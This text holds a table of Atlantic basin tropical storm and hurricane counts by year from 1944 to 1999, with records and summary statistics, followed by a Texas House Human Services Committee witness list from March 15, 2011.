| Tropical storms/hurricanes | 19* (1995) | 4 (1983) |
| Hurricanes | 12 (1969) | 2 (1982) |
| Major Hurricanes | 7 (1950) | 0 (many times,1994 last) |
| USA landfalling storms/hurricanes | 8 (1916) | 1 (many,1991) |
| USA landfalling hurricanes | 6 (1916,1985) | 0 (many,1994) |
| USA landfalling major hurricanes | 3 (1909,33,54) | 0 (many,1994) |
(*) As a footnote, 1933 is recorded as being the most active of any
Atlantic basin season on record (reliable or otherwise) with 21
tropical storms and hurricanes.
Atlantic basin
Individual years with the numbers in each category
| Year |
NS |
NS&Sub |
H |
HD |
MH |
| ^ Click header for diagram ^ |
| 1944 | 11 | 11 | 7 | 27 | 3 |
| 1945 | 11 | 11 | 5 | 14 | 2 |
| 1946 | 6 | 6 | 3 | 6 | 1 |
| 1947 | 9 | 9 | 5 | 28 | 2 |
| 1948 | 9 | 9 | 6 | 29 | 4 |
| 1949 | 13 | 13 | 7 | 22 | 3 |
| 1950 | 13 | 13 | 11 | 60 | 7 |
| 1951 | 10 | 10 | 8 | 36 | 2 |
| 1952 | 7 | 7 | 6 | 23 | 3 |
| 1953 | 14 | 14 | 6 | 18 | 3 |
| 1954 | 11 | 11 | 8 | 32 | 2 |
| 1955 | 12 | 12 | 9 | 47 | 5 |
| 1956 | 8 | 8 | 4 | 13 | 2 |
| 1957 | 8 | 8 | 3 | 21 | 2 |
| 1958 | 10 | 10 | 7 | 30 | 4 |
| 1959 | 11 | 11 | 7 | 22 | 2 |
| 1960 | 7 | 7 | 4 | 18 | 2 |
| 1961 | 11 | 11 | 8 | 48 | 6 |
| 1962 | 5 | 5 | 3 | 11 | 0 |
| 1963 | 9 | 9 | 7 | 37 | 2 |
| 1964 | 12 | 12 | 6 | 43 | 5 |
| 1965 | 6 | 6 | 4 | 27 | 1 |
| 1966 | 11 | 11 | 7 | 42 | 3 |
| 1967 | 8 | 8 | 6 | 36 | 1 |
| 1968 | 7 | 8 | 4 | 10 | 0 |
| 1969 | 17 | 18 | 12 | 40 | 3 |
| 1970 | 10 | 10 | 5 | 7 | 2 |
| 1971 | 13 | 13 | 6 | 29 | 1 |
| 1972 | 4 | 7 | 3 | 6 | 0 |
| 1973 | 7 | 8 | 4 | 10 | 1 |
| 1974 | 7 | 11 | 4 | 14 | 2 |
| 1975 | 8 | 9 | 6 | 21 | 3 |
| 1976 | 8 | 10 | 6 | 26 | 2 |
| 1977 | 6 | 6 | 5 | 7 | 1 |
| 1978 | 11 | 12 | 5 | 14 | 2 |
| 1979 | 8 | 9 | 5 | 22 | 2 |
| 1980 | 11 | 11 | 9 | 38 | 2 |
| 1981 | 11 | 12 | 7 | 23 | 3 |
| 1982 | 5 | 6 | 2 | 6 | 1 |
| 1983 | 4 | 4 | 3 | 4 | 1 |
| 1984 | 12 | 13 | 5 | 18 | 1 |
| 1985 | 11 | 11 | 7 | 21 | 3 |
| 1986 | 6 | 6 | 4 | 11 | 0 |
| 1987 | 7 | 7 | 3 | 5 | 1 |
| 1988 | 12 | 12 | 5 | 21 | 3 |
| 1989 | 11 | 11 | 7 | 32 | 2 |
| 1990 | 14 | 14 | 8 | 27 | 1 |
| 1991 | 8 | 8 | 4 | 8 | 2 |
| 1992 | 6 | 7 | 4 | 16 | 1 |
| 1993 | 8 | 8 | 4 | 10 | 1 |
| 1994 | 7 | 7 | 3 | 7 | 0 |
| 1995 | 19 | 19 | 11 | 60 | 5 |
| 1996 | 13 | 13 | 9 | 45 | 6 |
| 1997 | 7 | 8 | 3 | 10 | 1 |
| 1998 | 14 | 14 | 10 | 49 | 3 |
| 1999 | 12 | 12 | 8 | 41 | 5 |
Mean from 1950 - 1990 |
9.34 | 9.78 | 5.83 | 23.69 | 2.17 |
Standard Deviation |
4.24 | 4.51 | 3.15 | 17.37 | 1.81 |
NS - named storms
NS&Sub - named and subtropical storms
H - hurricanes
HD - hurricane days
MH - major hurricanes
Back to Tropical Cyclones
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WITNESS LIST
Human Services Committee
March 15, 2011 - 2:00 PM or upon final adjourn./recess
For:
Osborne, Cynthia (Self)
Powell, Judy (Parent Guidance)
On:
Hayes, Michael (Office of the Attorney General)
Registering, but not testifying:
For:
Harris, Ashley (Texas Care for Children)
Martinez, Diana (TexProtects, The Texas Asso. for the Protection of Children)
Rivas, Andrew (Texas Catholic Conference)
Sabo, Jason (United Ways of TX)
Scot, Johana (Parent Guidance Center)
For:
Cormie, Duncan (Lifeworks Austin)
Martinez, Diana (TexProtects, The Texas Asso. for the Protection of Children)
Scot, Johana (Parent Guidance Center)
Tod, Theresa (Texas Network of Youth Services)
On:
Kromrei, Elizabeth (Department of Family & Protective Services)
Registering, but not testifying:
For:
Burstain, Jane (Center of Public Policy Priorities)
Gagen, Joseph (Texas CASA, Inc)
Harris, Ashley (Texans Care for Children)
Milam, Susan (National Association of Social Works/ Texas Chapter)
Powell, Judy (Parent Guidance Center)
Taylor, Clay (Dept of Public Safety Officers Assoc.)
On:
Fischer, Heidi (Texas Department of Public Safety (Available as a resource witness))
For:
Powell, Judy (Parent Guidance Center)
Rodriguez, Carolyne (Casey Family Programs)
1
WITNESS LIST
Registering, but not testifying:
For:
Gagen, Joseph (Texas CASA, Inc)
Martinez, Diana (TexProtects, The Texas Asso. for the Protection of Children)
Scot, Johana (Parent Guidance Center)
Switzer, Gyl (Mental Health America of TX)
On:
James, Joyce (Health and Human Services Commission)
Kromrei, Elizabeth (Dept. of Family & Protective Services)
Reynolds, Carl (Office of Court Administration)
HB 945 - Committee Substitute (Raymond)
For:
Freeman, Kathryn (Texas Appleseed)
Hendricks, Ray (Self; Austin Disproportionality Advisory Committee)
For:
Borel, Dennis (Coalition of Texans with Disabilities)
Murphree, Susan (Disability Rights Texas)
Registering, but not testifying:
For:
Coffee, Mary (Self)
Coffee, Rick (Self)
Coleman, Phil (Self; ADAPT of Texas)
Cranston, Catherine (Personal Attendant Coalition of TX)
Crawford, Mellisa (ADAPT)
Evans, Jeremy (Self)
Gagen, Joseph (Texas CASA, Inc)
Heyden, Marita (ADAPT)
Landtrip, Melanie (Self)
McPhail, Jennifer (ADAPT of Texas)
Metz, Albert (Self; ADAPT of Texas)
Peet, Nelson (ADAPT of TX)
Seanz, Danny (Self)
Steele, Burrill (ADAPT)
Steele, Mary (ADAPT)
Wittie, David (Self; ADAPT of Texas)
On:
Gold, Marc (Dept of Aging and Disability Services (DADS))
For:
Bass, Jalisa (Texas Network of Youth Services)
2
WITNESS LIST
For:
Burstain, Jane (Center for Public Policy Priorities)
Cormie, Duncan (Lifeworks Austin)
Gendron, Christine (Texas Network of Youth Services)
Widrow, Woody (RAISE Texas)
Registering, but not testifying:
For:
Gagen, Joseph (Texas CASA)
Harris, Ashley (Texans Care for Children)
Martinez, Diana (TexProtects, The Texas Asso. for the Protection of Children)
Milam, Susan (National Association of Social Workers/ Texas Chapter)
Sabo, Jason (United Ways of Texas)
On:
Kromrei, Elizabeth (Dept of Family & Protective Services)
For:
Milam, Susan (National Association of Social Workers/ Texas Chapter)
Riddle, Kelly (TX Assoc of Licensed Investigators)
Against:
Scot, Johana (Parent Guidance Center)
Spiller, Lee (Citizens Commission on Human Rights)
Registering, but not testifying:
For:
Hanna, Mark (Texas Society for Clinical Social Work)
Harris, Ashley (Texans Care for Children)
Switzer, Gyl (Mental Health America of TX)
Against:
Powell, Judy (Parent Guidance Center)
On:
Kromei, Elizabeth (Department of Family & Protective Services)
3


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